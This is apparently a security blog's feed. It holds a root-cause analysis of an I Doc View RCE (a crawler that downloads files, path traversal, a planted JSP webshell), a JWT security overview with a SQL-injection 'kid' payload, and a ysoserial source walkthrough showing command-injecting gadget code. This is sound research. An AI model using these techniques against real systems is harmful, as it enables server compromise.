VIEW是一个在线的文档查看器,其中的<code>/html/2word</code>接口因为处理不当,导致可以远程读取任意文件,通过这个接口导致服务器下载恶意的JSP进行解析,从而RCE。</p> <h2>漏洞影响版本</h2> <p><code>20231115</code>之前版本</p> <h2>源码分析</h2> <p>先定位到问题接口: ![image-20231124002943513](./I DOC VIEW 前台RCE/image-20231124002943513.png) 接口里面就一个方法<code>toWord</code>,那么就来看看它做了什么: ![image-20231124002951105](./I DOC VIEW 前台RCE/image-20231124002951105.png) 前面的内容不是特别紧要,这里有一个去爬取页面的方法,也是唯一使用了<code>url</code>参数的地方: ![image-20231124002957766](./I DOC VIEW 前台RCE/image-20231124002957766.png) 这里使用了<code>getPage</code>方法来处理<code>obj</code>,而<code>obj</code>又是<code>url</code>来的<code>URL</code>对象,但是疑惑的时文件名只能是<code>index.html</code>所以去看一下这个<code>getWebPage</code>方法: ![image-20231124003004867](./I DOC VIEW 前台RCE/image-20231124003004867.png) 其实到上面这里还好,都是一些写文件的操作,并且写的也是<code>index.html</code>但是下面做的操作就是本此漏洞的关键了,软件本意应该是想做一个比较完善的爬虫,所以接下会调用<code>GrabUtility.searchForNewFilesToGrab</code>方法继续解析文件内容,这里的<code>conn</code>也就是刚才创建的链接: ![image-20231124003010469](./I DOC VIEW 前台RCE/image-20231124003010469.png) 进入到<code>GrabUtility.searchForNewFilesToGrab</code>查看,发现其中的内容就是解析响应值,其中获取<code>link[href]</code>、<code>script[src]</code>、<code>img[src]</code>标签对应的内容然后存进<code>GrabUtility</code>的成员变量<code>filesToGrab</code>中: ![image-20231124003017471](./I DOC VIEW 前台RCE/image-20231124003017471.png) ![image-20231124003025552](./I DOC VIEW 前台RCE/image-20231124003025552.png) 然后就到了触发漏洞的操作了,这里读取了<code>filesToGrab</code>的<code>size</code>然后开始尝试挨个链接下载了,这里调用了<code>GetWebPage</code>重载方法,目录还是原来的目录,文件名时自动解析的文件名: ![image-20231124003032209](./I DOC VIEW 前台RCE/image-20231124003032209.png) ![image-20231124003039291](./I DOC VIEW 前台RCE/image-20231124003039291.png) 这就好办了,因为程序中只对后缀做了过滤,所以只要我们不是它黑名单的后缀然后再配合<code>目录穿越</code>就行了,然后黑名单是<code>html</code>、<code>htm</code>、<code>php</code>、<code>asp</code>、<code>aspx</code>和<code>net</code>,但是没有<code>jsp</code>,所以只需要写个<code>jsp</code>的🐎就可以了。 这里需要注意的是,因为截取<code>/</code>后的内容作为文件名,所以不能使用<code>/</code>进行目录穿越,但是系统是<code>windows</code>上的,所以就可以使用<code>\</code>来代替。 那么利用流程就是:首先启动恶意服务器,将服务器的<code>index.html</code>中放入一个<code>href</code>、<code>img</code>或者<code>script</code>定向到<code>jsp</code>马就行了!(这也印证了通告中的<code>诱导</code>下载危险文件)</p> <h2>复现</h2> <p>poc我放在了<a href="https://github.com/springkill/idocv_poc">这里</a>,详细分步复现请看下文:</p> <p>构造页面: ![image-20231124003048041](./I DOC VIEW 前台RCE/image-20231124003048041.png) <code>python</code>启动简易<code>http</code>,访问! 然后被杀(谢谢你火绒: ![image-20231124003055195](./I DOC VIEW 前台RCE/image-20231124003055195.png) 关了火绒(因为服务貌似会有缓存,所以需要换个端口): ![image-20231124003100746](./I DOC VIEW 前台RCE/image-20231124003100746.png) 测试: ![image-20231124003109465](./I DOC VIEW 前台RCE/image-20231124003109465.png) 当然最后不要忘记打开火绒哦。</p> <h2>结语</h2> <p>文件操作是十分敏感的操作,尤其是向服务器中下载文件,同时下载的文件最好也有固定的目录存放并防止目录穿越,开发者已经想到了下载文件的风险,但是却没有将对策做好,导致了本次漏洞。</p> <h2>彩蛋</h2> <p>天知道我试了多少次…… ![image-20231124003114768](./I DOC VIEW 前台RCE/image-20231124003114768.png)</p> 浅谈JWT安全https://springkill.github.io/posts/%E6%B5%85%E8%B0%88jwt%E5%AE%89%E5%85%A8/https://springkill.github.io/posts/%E6%B5%85%E8%B0%88jwt%E5%AE%89%E5%85%A8/Wed, 22 Nov 2023 00:00:00 GMT<p>JWT是为了解决HTTP会话的状态维持需要频繁查询数据库这一慢操作而产生的,和redis不同,它将大部分(或全部)信息保存在JWT自身中,通过对JWT的解析直接获取会话的状态信息,但是这也产生了一些安全问题。</p> <h2>定义</h2> <blockquote> <p>Json web token (简称JWT),是目前最流行的跨域认证解决方案,是一种认证授权机制。 JWT 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准。该token被设计为紧凑且安全的,特别适用于分布式站点的单点登录(SSO)场景。JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。</p> </blockquote> <h2>JWT组成</h2> <p>JWT 由三部分组成,每部分之间用点<code>.</code>隔开,这三部分分别是<code>header</code>、<code>payload</code>、<code>Signature</code>。 我们生成一个JWT来详细观察一下它的结构: <code>JWTeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9</code>.<code>eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ</code>.<code>MZiW2KkIRI6GhKsu16Me7-3IpS4nBw1W47CW67QAqS0</code> 正如前面说的一样,JWT分为以<code>.</code>隔开的三段,并且使用了<code>base64url</code>编码进行编码</p> <blockquote> <p>base64url编码将base64中的<code>+</code>替换为<code>-</code>,将<code>/</code>替换为<code>_</code>并且省略了<code>=</code>,这样主要是为了避免歧义。</p> </blockquote> <p>解码后的三段数据分别为: <code>{"alg":"HS256","typ":"JWT"}</code> <code>{"sub":"1234567890","name":"John Doe","iat":1516239022}</code> <code>Signature</code> <img src="./%E6%B5%85%E8%B0%88JWT%E5%AE%89%E5%85%A8/image-20231122014746811.png" alt="image-20231122014746811" /></p> <h3>header</h3> <p><code>header</code>中的两个内容很好理解,一个是规定了格式为<code>JWT</code>,另一个指定签名算法为<code>HS256</code>,<code>header</code>中通常也只有这两个字段,其中<code>typ</code>不变,永远都是<code>JWT</code>,<code>alg</code>字段会根据所使用的签名算法不同而改变,有时还会有<code>jwk</code>字段(这个也成为了一个安全问题)。</p> <h3>payload</h3> <p><code>payload</code>中包含三部分内容:标准中注册的声明、公共的声明和私有的声明。 标准中注册的声明:</p> <ul> <li><code>iss</code>: jwt签发者</li> <li><code>sub</code>: jwt所面向的用户</li> <li><code>aud</code>: 接收jwt的一方</li> <li><code>exp</code>: jwt的过期时间,这个过期时间必须要大于签发时间</li> <li><code>nbf</code>: 定义在什么时间之前,该jwt都是不可用的.</li> <li><code>iat</code>: jwt的签发时间</li> <li><code>jti</code>: jwt的唯一身份标识,主要用来作为一次性token,从而回避重放攻击。</li> </ul> <p>公共的声明 : 公共的声明可以添加任何的信息,一般添加用户的相关信息或其他业务需要的必要信息.但不建议添加敏感信息,因为该部分在客户端可解密. 私有的声明 : 私有声明是提供者和消费者所共同定义的声明,一般不建议存放敏感信息,因为base64是对称解密的,意味着该部分信息可以归类为明文信息。</p> <h3>Signature</h3> <p>签名是JWT的最后一部分,生成方式和上面图片中蓝色字段写的一样,其中<code>secret</code>字段是一个密钥,通过这个密钥进行加密后的数据再<code>base64url</code>编码就得到了JWT中的最后一部分内容。</p> <h2>安全问题</h2> <h3>敏感信息泄露</h3> <p>由于JWT的前两个字段<code>header</code>和<code>payload</code>并没有进行加密,所以直接使用<code>base64url</code>进行解码就可以获得相应的信息,这就可能会造成敏感信息泄露,当然是否有敏感信息还需要看对应的开发者有没有往里面放就是了。</p> <h3>none签名方法</h3> <p>这个漏洞应该不会再出现了,java中有个依赖叫什么具体忘记了,其实调试过程还蛮复杂的所以就不上调试流程了。 漏洞的成因是因为在签名的生成过程中允许了使用<code>none</code>作为签名算法,当签名算法为<code>none</code>的时候,只需要使用<code>base64url</code>编码<code>header</code>和<code>payload</code>并用<code>.</code>分割,就可以绕过原本的签名检测,达到权限获取的目的。</p> <h3>签名未校验</h3> <p>在fusionauth-jwt 1.3.0以前,该组件即使删除了<code>JWT</code>地签名部分仍然可以通过验证。</p> <h3>不当的错误处理</h3> <p>在CVE-2019-7644中,如果你发送的签名是错的,那么服务器会通知你签名错误,并返回一个正确的签名(你人还怪好的嘞)。</p> <h3>破解密钥</h3> <p>猜您是否在找: <a href="https://github.com/hashcat/hashcat">https://github.com/hashcat/hashcat</a> <a href="https://github.com/Ch1ngg/JWTPyCrack">https://github.com/Ch1ngg/JWTPyCrack</a> <a href="https://github.com/brendan-rius/c-jwt-cracker">https://github.com/brendan-rius/c-jwt-cracker</a></p> <h3>更改加密算法</h3> <p>在CVE-2016-10555中,jwt-simple &lt; 0.3.0版本,如果将<code>header</code>中的签名算法由<code>RS256</code>改为<code>HS256</code>那么就会执行对称加密解密算法,将<code>RS256</code>的公钥用作对称解密当中。</p> <h3>伪造密钥</h3> <p>在CVE-2018-0114中,通过前文说到的<code>header</code>中的<code>jwk</code>字段可以伪造公钥(自己生成的),然后用对应的私钥进行加密操作并发送,对方就会使用传输的公钥来进行解密,绕过安全认证。</p> <h3>硬编码</h3> <p>尤其是对于开源项目,如果使用了硬编码存储公钥私钥,并且开发者使用了默认的硬编码私钥,那么就会破坏原本的身份验证机制。</p> <h3>header中web安全问题</h3> <p>常见的是<code>header</code>中的<code>kid</code>字段:</p> <ul> <li>由于<code>kid</code>通常用于从文件系统检索密钥文件,因此如果在使用前未对其进行过滤,可能会导致目录遍历攻击。在这种情况下,攻击者将能够指定文件系统中的任何文件作为用于验证令牌的密钥。</li> <li><code>kid</code>还可用于从数据库检索密钥。在这种情况下,可以利用 SQL 注入来绕过 JWT 签名。</li> </ul> <p>如果<code>kid</code>参数上可以进行 SQL 注入,则攻击者可以使用此注入返回任何值。</p> <pre><code>sql注入“kid”:“aaaaaaa' UNION SELECT 'key';--” // 使用字符串“key”来验证令牌 </code></pre> <p>例如,上面的注入将导致应用程序返回字符串<code>key</code>,然后将使用字符串<code>key</code>作为密钥来验证令牌。</p> <ul> <li>如果<code>kid</code>的值被拼接到命令中用来读取文件,那么就有可能产生和<code>web</code>中其他内容同样会产生的命令注入。</li> </ul> <h2>漏洞近况</h2> <p>谷歌搜索了一下感觉JWT引发的问题还是蛮多的,比如: 硬编码的CVE-2023-5074、CVE-2023-33236这两个漏洞可以通过硬编码的密钥伪造任意JWT JWT报错产生的CVE-2023-40171和前面说的<code>不当的错误处理</code>一样,当你传输了错误的内容时会返回给一个正确签名的JWT 因为验证不当导致的CVE-2023–4696属于前面说的<code>签名未校验</code>类型,修改<code>payload</code>中的明文信息就可以绕过权限检查 因为输入过滤不当导致的CVE-2022-23529,该漏洞允许通过JWT重写<code>toString</code>方法造成RCE(不过作者本人似乎说不能RCE,只能本地利用,这里贴个图) <img src="./%E6%B5%85%E8%B0%88JWT%E5%AE%89%E5%85%A8/image-20231122014756560.png" alt="image-20231122014756560" /></p> <h2>IAST的检测</h2> <p>对于使用IAST检测JWT问题想了一天也没什么通用的头绪,DongTai老大哥的代码中貌似也没看到什么有用的内容,记录下自己的思考吧。</p> <h4>JWT生成点</h4> <p>桩点:寻找代码中生成JWT的部分,通常是在用户认证成功后。 实施方案:在这些点插入代码,用以检查所使用的算法(避免None),确保密钥的强度和安全性。同时,记录生成的JWT,以便于后续审计。</p> <h4>JWT解析与验证点</h4> <p>桩点:找到解析和验证JWT的部分,通常是在API访问控制或用户会话管理中。 实施方案:在JWT解析和验证的代码处插入检测逻辑,确保签名的有效性,防止伪造或篡改。同时,检查负载中的标准声明,如过期时间(exp)、主题(sub)等。</p> <h4>错误处理与日志记录</h4> <p>桩点:在处理JWT相关异常的地方,如签名验证失败、令牌过期等。 实施方案:增强错误处理逻辑,记录所有失败的JWT验证尝试,包括令牌信息和相关的访问上下文,以便于安全分析。</p> <h4>敏感信息泄露检测</h4> <p>桩点:在JWT的payload创建过程中。 实施方案:确保JWT的负载中不含敏感信息,如用户密码、个人身份信息等。可以在这一点上插入代码,自动检测和警告任何可能的敏感信息泄露。</p> <h2>结语</h2> <p>因为只是想概括性地了解JWT的安全问题,所以对于其中的代码我也并没有进行调试,只是想给自己留个印象方便需要的时候及时回忆起来,对于JWT来说,存在的安全问题似乎和库以及组件开发者开发时的清醒程度有直接关联(这么说好像有点奇怪)。同时对于使用者来说,在JWT中存放何种信息、使用什么协议传输以及在接收时是否增加一些必要的过滤都是需要考虑的地方。 关于JWT还有很多需要学习的,看本文瞎扯一通后,希望读者对JWT安全有一个大致模糊的了解。 参考链接: <a href="https://research.securitum.com/jwt-json-web-token-security/">https://research.securitum.com/jwt-json-web-token-security/</a> <a href="https://www.authing.cn/blog/306">https://www.authing.cn/blog/306</a> <a href="https://version-2.com/en/2023/01/jwt-arbitrary-command-execution-cve-2022-23529/">https://version-2.com/en/2023/01/jwt-arbitrary-command-execution-cve-2022-23529/</a> <a href="https://medium.com/@mnqazi/cve-2023-4696-account-takeover-due-to-improper-handling-of-jwt-tokens-in-memos-v0-13-2-13104e1412f3">https://medium.com/@mnqazi/cve-2023-4696-account-takeover-due-to-improper-handling-of-jwt-tokens-in-memos-v0-13-2-13104e1412f3</a> <a href="https://www.cnblogs.com/tomyyyyy/p/15134420.html">https://www.cnblogs.com/tomyyyyy/p/15134420.html</a></p> ysoserial源码详解https://springkill.github.io/posts/ysoserial%E6%BA%90%E7%A0%81%E8%AF%A6%E8%A7%A3/https://springkill.github.io/posts/ysoserial%E6%BA%90%E7%A0%81%E8%AF%A6%E8%A7%A3/Sun, 12 Nov 2023 00:00:00 GMT<p>IAST后端基本写的差不多了,所以为了写前端,最近正在学习electron,想先拿个东西练练手,于是打算为ysoserial做一个前端界面同时加一些自己的特性,那么既然要二开必然要学习原项目,那么顺手写个文章方便以后复习。</p> <h1>代码结构</h1> <p>ysorerial的代码结构如下,包括这三个块: <code>exploit</code>、<code>payloads</code>、<code>secmgr</code> <img src="./ysoserial%E6%BA%90%E7%A0%81%E8%AF%A6%E8%A7%A3/image-20231112221449710.png" alt="image-20231112221449710" /> 下面来简单介绍一下每个块的具体用途。</p> <h2>exploit包</h2> <p>这个包内的内容主要用于对不同的目标进行实际的攻击。</p> <h2>payloads包</h2> <h3>annnotation包</h3> <p>这个包内主要包含了一些注解相关的信息,主要用力标识作者之类的提示信息。</p> <h4>Authors注解</h4> <p>这个文件定义了一个注解,其中包含了一些作者信息,是用来标记gadgate的作者的,没什么特别好说的。</p> <h4>Dependencies注解</h4> <p>检索依赖信息的注解。</p> <h4>PayloadTest注解</h4> <p>用来标记gadgate是否需要被测试,是否测试的时候会引发什么异常情况之类的东西,是用来测试gadgate的。</p> <h3>Util包</h3> <p>Util模块是一个工具模块,里面包含了像类文件操作,反射操作等的小工具,为yso中大量使用的重复性操作做一个封装。</p> <h4>ClassFiles类</h4> <p><code>ClassFiles</code>类的作用是处理类文件,在<code>ysoserial</code>中经常会涉及到类文件读取的操作,因此将其放在了一个单独的类里面方便使用,详细说说其中的各种方法。</p> <ul> <li><code>classAsFile</code>方法</li> </ul> <pre><code>public static String classAsFile(final Class&lt;?&gt; clazz) { return classAsFile(clazz, true); } public static String classAsFile(final Class&lt;?&gt; clazz, boolean suffix) { String str; if (clazz.getEnclosingClass() == null) { str = clazz.getName().replace(".", "/"); } else { str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); } if (suffix) { str += ".class"; } return str; } </code></pre> <p><code>classAsFile</code>方法有两个重载,总的来说是获取<code>class</code>的路径用的,这个方法在处理反射、类加载器、或者需要根据类名获取类文件路径的场景中非常有用。例如,在自定义类加载器或进行字节码分析时,这种将类名转换为类文件路径的功能是非常基础且重要的。 第二个重载也就是核心所在,通过<code>getEnclosingClass()</code>方法获取传入的是否是内部类,如果不是那么直接返回如<code>com/springkill/clazz</code>这样的字段,如果是那么就返回<code>com/springkill/clazz$1</code>这样的字段,然后根据<code>suffix</code>表示的内容判断在末尾是否加上<code>.class</code>的后缀。</p> <ul> <li><code>classAsBytes</code>方法</li> </ul> <pre><code>public static byte[] classAsBytes(final Class&lt;?&gt; clazz) { try { final byte[] buffer = new byte[1024]; final String file = classAsFile(clazz); final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); if (in == null) { throw new IOException("couldn't find '" + file + "'"); } final ByteArrayOutputStream out = new ByteArrayOutputStream(); int len; while ((len = in.read(buffer)) != -1) { out.write(buffer, 0, len); } return out.toByteArray(); } catch (IOException e) { throw new RuntimeException(e); } } </code></pre> <p>这个方法就是简单的将类转换为<code>byte[]</code>供后面使用。</p> <h4>Gadgets类</h4> <p>总的来说这个类包含了多个方法,主要用于动态创建和操作Java对象。 先说两个内部类:</p> <h5>内部类:StubTransletPayload类</h5> <p>这个内部类用于演示反序列化,继承自<code>AbstractTranslet</code>类,并且实现了<code>transform</code>方法,为后面的操作提供一个看起来无害的"载体"。</p> <h5>内部类:Foo类</h5> <p>定义了序列化版本,没有多余操作,后文将作为辅助类使用。</p> <h5>类中的方法</h5> <ul> <li>静态代码块区</li> </ul> <p>这块代码初始化了两个系统属性分别允许<code>TemplatesImpl</code>的反序列化和允许RMI远程加载。</p> <ul> <li><code>createMemoitizedProxy</code>和<code>createProxy</code>方法</li> </ul> <pre><code>public static &lt;T&gt; T createMemoitizedProxy ( final Map&lt;String, Object&gt; map, final Class&lt;T&gt; iface, final Class&lt;?&gt;... ifaces ) throws Exception { return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); } //创建一个自定义sun.reflect.annotation.AnnotationInvocationHandler实例 public static InvocationHandler createMemoizedInvocationHandler ( final Map&lt;String, Object&gt; map ) throws Exception { return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); } //动态创建代理,实现所有给定接口 public static &lt;T&gt; T createProxy ( final InvocationHandler ih, final Class&lt;T&gt; iface, final Class&lt;?&gt;... ifaces ) { final Class&lt;?&gt;[] allIfaces = (Class&lt;?&gt;[]) Array.newInstance(Class.class, ifaces.length + 1); allIfaces[ 0 ] = iface; if ( ifaces.length &gt; 0 ) { System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); } //使用cast进行类型转换 return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); } </code></pre> <p>这两个方法创建了任意代理类,实现了动态创建任意接口的实现并且进行自定义,其中调用的<code>createMemoizedInvocationHandler</code>方法创建一个自定义的<code>sun.reflect.annotation.AnnotationInvocationHandler</code>实例,然后通过<code>createProxy</code>创建一个代理类。</p> <ul> <li><code>createMap</code>方法</li> </ul> <p>使用给定的<code>key</code>和<code>value</code>创建一个<code>HashMap</code>,因为ysoserial在使用过程中需要频繁地创建<code>HashMap</code>所以将这个操作封装。</p> <ul> <li>两个<code>createTemplatesImpl</code>方法</li> </ul> <pre><code>public static Object createTemplatesImpl ( final String command ) throws Exception { //检查properXalan的值是否被设定为了True,如果是那么就使用if块内的逻辑,否则调用重载方法 if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( command, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")); } return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class); } public static &lt;T&gt; T createTemplatesImpl ( final String command, Class&lt;T&gt; tplClass, Class&lt;?&gt; abstTranslet, Class&lt;?&gt; transFactory ) throws Exception { //反射创建实例 final T templates = tplClass.newInstance(); // use template gadget class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath( StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections // 初始化cmd字符串 String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\\", "\\\\").replace("\"", "\\\"") + "\");"; // 插入cmd到静态代码块 clazz.makeClassInitializer().insertAfter(cmd); // 给类设置名字 sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) clazz.setName("ysoserial.Pwner" + System.nanoTime()); // 设置父类 CtClass superC = pool.get(abstTranslet.getName()); clazz.setSuperclass(superC); // 转换为字节码数组 final byte[] classBytes = clazz.toBytecode(); // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; } </code></pre> <p>这个类主要是用来初始化<code>TemplatesImpl</code>的。 第一个<code>createTemplatesImpl</code>方法通过检查<code>properXalan</code>属性的值来判断是使用内置的<code>org.apache.xalan.xsltc.trax.TemplatesImpl</code>还是使用外部 Apache Xalan 项目提供的类(这并不是一个标准的官方系统属性),如果为<code>True</code>那么就使用重载方法传入的类。 那么再来说说重载方法,先实例化了一个<code>templates</code>,然后使用<code>Javassist</code>进行字节码操作,创建一个<code>ClassPool</code>的实例,然后将内部类<code>StubTransletPayload.class</code>和传入的<code>abstTranslet</code>放入其中,然后获取<code>StubTransletPayload</code>的<code>CtClass</code>表示<code>clazz</code>(<code>CtClass</code>是<code>Javassist</code>中表示类的对象),然后将<code>command</code>包装成<code>Runtime</code>执行命令的代码,最后插入到<code>clazz</code>的静态代码块中,最后修改<code>clazz</code>的父类,并将clazz转换为字节码数组。 以上准备工作做完后开始使用反射修改<code>templates</code>的<code>_bytecodes</code>字段,将刚才准备好的<code>clazz</code>的字节码表示和内部类<code>Foo</code>写入其中,然后设置<code>_name</code>字段和<code>_tfactory</code>字段,其中<code>_tfactory</code>字段需要一个<code>TransformerFactoryImpl</code>实例,由传入的<code>transFactory</code>类使用反射来创建。</p> <ul> <li>makeMap方法</li> </ul> <pre><code>public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { HashMap s = new HashMap(); // 反射设置size字段为2 Reflections.setFieldValue(s, "size", 2); Class nodeC; try { // 对于Java8之后的HashMap,获取java.util.HashMap$Node nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { // 对于Java8之前的HashMap,获取java.util.HashMap$Entry nodeC = Class.forName("java.util.HashMap$Entry"); } // 获取构造函数并设置setAccessible以供直接访问,创建节点 Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); Reflections.setAccessible(nodeCons); // 创建数组用来存储nodeC节点 Object tbl = Array.newInstance(nodeC, 2); // 将v1和v2作为key、value放入到节点中,然后再插入法哦数组内,最后将数组放到HashMap中 Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); Reflections.setFieldValue(s, "table", tbl); return s; } </code></pre> <p>这个类用来初始化<code>HashMap</code>实例,首先创建一个<code>HashMap</code>然后设置其大小为2,根据JDK版本的不同决定<code>nodeC</code>的类型然后获取对应的构造函数,之后创建一个大小为2的数组将两个节点初始化后放入(节点的<code>key</code>和<code>value</code>都为<code>v1</code>或<code>v2</code>),最后将数组放入<code>HashMap</code>中并返回。</p> <h4>JavaVersion类</h4> <p>这个没什么好说的,就是检测Java版本用的。</p> <h4>PayloadRunner类</h4> <p>这个类看名字就知道是测试payload用的,执行一次序列化和反序列化的过程,看能否达到预期的目的,不过多说。</p> <h4>Reflections类</h4> <p>这个类是将yso中经常使用的反射操作做一个封装来方便使用。</p> <ul> <li><code>setAccessible</code>方法</li> </ul> <p>这个方法根据使用Java版本的不同为传入的<code>member</code>执行<code>setAccessible</code>操作,来修改<code>Field</code>、<code>Method</code>或<code>Constructor</code>的可访问性。</p> <ul> <li><code>getField</code>方法</li> </ul> <p>获取指定类及其父类中声明的特定字段。如果在当前类中找不到字段,会递归地在其夫类中查找。</p> <ul> <li><code>setFieldValue</code>和<code>getFieldValue</code>方法</li> </ul> <p>这两个方法分别用于设置和获取对象的指定字段值。它们使用<code>getField</code>来访问字段,然后调用<code>Field.set</code>或<code>Field.get</code>来修改或检索值。</p> <ul> <li><code>getFirstCtor</code>方法和<code>newInstance</code>方法</li> </ul> <p>获取构造函数和创建其对应的实例所使用的方法。</p> <ul> <li><code>createWithoutConstructor</code>方法和<code>createWithConstructor</code>方法</li> </ul> <pre><code>public static &lt;T&gt; T createWithoutConstructor ( Class&lt;T&gt; classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); } @SuppressWarnings ( {"unchecked"} ) public static &lt;T&gt; T createWithConstructor ( Class&lt;T&gt; classToInstantiate, Class&lt;? super T&gt; constructorClass, Class&lt;?&gt;[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor&lt;? super T&gt; objCons = constructorClass.getDeclaredConstructor(consArgTypes); setAccessible(objCons); // 生成伪构造函数 Constructor&lt;?&gt; sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); setAccessible(sc); return (T)sc.newInstance(consArgs); } </code></pre> <p>这两个方法比较有意思,<code>createWithConstructor</code>使用了<code>newConstructorForSerialization</code>方法创建一个伪构造函数,然后实例化并返回。</p> <blockquote> <p><code>newConstructorForSerialization</code>方法不需要对应的类有默认构造函数,也不需要真正地执行构造函数就可以直接创建一个对象实例。因为它通过字节码的形式生成了<code>ConstructorAccessor</code>接口。</p> </blockquote> <h3>ObjectPayload接口</h3> <p>这个接口是所有payload的父类,也就是链子具体实现的父类,接口本身没什么,不过它里面还有一个<code>Utils</code>的内部类,可以详细说说这个内部类中的各种方法。</p> <ul> <li><code>getPayloadClasses</code>方法</li> </ul> <p>该方法用来查找和返回所有实现了<code>ObjectPayload</code>接口的类,没什么特别的。</p> <ul> <li><code>getPayloadClass</code>方法</li> </ul> <p>通过名字加载具体的链子实现,并且判断是不是<code>ObjectPayload</code>的子类,如果不是则不加载。</p> <ul> <li><code>makePayloadObject</code>方法</li> </ul> <p>使用<code>getPayloadClass</code>方法获取具体的链子的类,然后将其实例化。</p> <ul> <li>两个<code>releasePayload</code>方法</li> </ul> <p>用来清理<code>Payload</code>。</p> <h3>ReleaseableObjectPayload接口</h3> <p>这个接口是用来和<code>releasePayload</code>方法配合使用,用来清理释放指定<code>Payload</code>的。</p> <h2>secmgr包</h2> <p>这个包里面包含了两个<code>SecurityManager</code>的子类,用来更改安全检查的一些逻辑。</p> <h3>DelegateSecurityManager类</h3> <p>作为一个代理,继承自<code>SecurityManage</code>,指定一个<code>SecurityManager</code>实例进行安全检查用。 前面为了支持<code>JDK10</code>以后的兼容性,将<code>getInCheck</code>、<code>checkTopLevelWindow</code>、<code>checkSystemClipboardAccess</code>、<code>checkAwtEventQueueAccess</code>、<code>checkMemberAccess</code>的具体实现清空。 然后重写了<code>SecurityManager</code>中的很多方法,将其具体处理委托给成员变量<code>securityManager</code>。</p> <h3>ExecCheckingSecurityManager类</h3> <p>这个类同样继承自<code>SecurityManage</code>类,用来检查是否执行命令,并决定是否抛出异常。</p> <h2>Deserializer类</h2> <p>这个类封装了在yso中经常使用的反序列化操作,这段代码和前面的<code>PayloadRunner</code>配合使用来测试<code>payload</code>。</p> <pre><code>public class Deserializer implements Callable&lt;Object&gt; { private final byte[] bytes; // 将接受的字节数组存入成员变量 public Deserializer(byte[] bytes) { this.bytes = bytes; } // 实现call方法,调用时反序列化字节数组 public Object call() throws Exception { return deserialize(bytes); } // 数组转换为流 public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException { final ByteArrayInputStream in = new ByteArrayInputStream(serialized); return deserialize(in); } // readobject public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException { final ObjectInputStream objIn = new ObjectInputStream(in); return objIn.readObject(); } // 入口 public static void main(String[] args) throws ClassNotFoundException, IOException { final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0])); Object object = deserialize(in); } } </code></pre> <h2>Serializer类</h2> <p>这个类封装了yso中经常使用的序列化操作,提供便捷,和上面的<code>Deserializer</code>类很相似,不过多说明。</p> <h2>GeneratePayload类</h2> <p>名字上看就是生成<code>Payload</code>使用的类,简单说下。</p> <ul> <li><code>mian</code>方法</li> </ul> <p><code>mian</code>方法接受命令行参数来选择链和命令,然后实例化并序列化后返回,如果失败则返回前面定义好的状态码然后退出程序。</p> <ul> <li><code>printUsage</code>方法</li> </ul> <p>用来打印yso的使用方法,不过多说了。</p> <h2>Strings类</h2> <p>这个类就是将一些常用的字符串方法进行一个封装,如连接,重复,格式化、比较操作。</p> <h1>Yso是如何运作的?</h1> <p>那么说了上面很多的包以及类,肯定有的小伙伴听完还是一头雾水,下面就用一张图说明下yso具体是怎么运作的吧! <img src="./ysoserial%E6%BA%90%E7%A0%81%E8%AF%A6%E8%A7%A3/image-20231112221509445.png" alt="image-20231112221509445" /> 由控制台进行输入,获取<code>gadget</code>和需要执行的命令传入到入口<code>GeneratePayload</code>中,然后由<code>GeneratePayload</code>调用具体的<code>ObjectPayload</code>接口的实现来获取实例,在这个过程中<code>ObjectPayload</code>又去调用了<code>Gadgets</code>、<code>Reflections</code>等进行初始化然后将对象返回给<code>GeneratePayload</code>,最后<code>GeneratePayload</code>调用<code>Serializer</code>的序列化方法将其序列化后返回并打印到控制台。</p> CVE-2023-46747 F5 BIG-IP RCEhttps://springkill.github.io/posts/cve-2023-46747-f5-big-ip-rce/https://springkill.github.io/posts/cve-2023-46747-f5-big-ip-rce/Tue, 07 Nov 2023 00:00:00 GMT<h2>影响版本</h2> 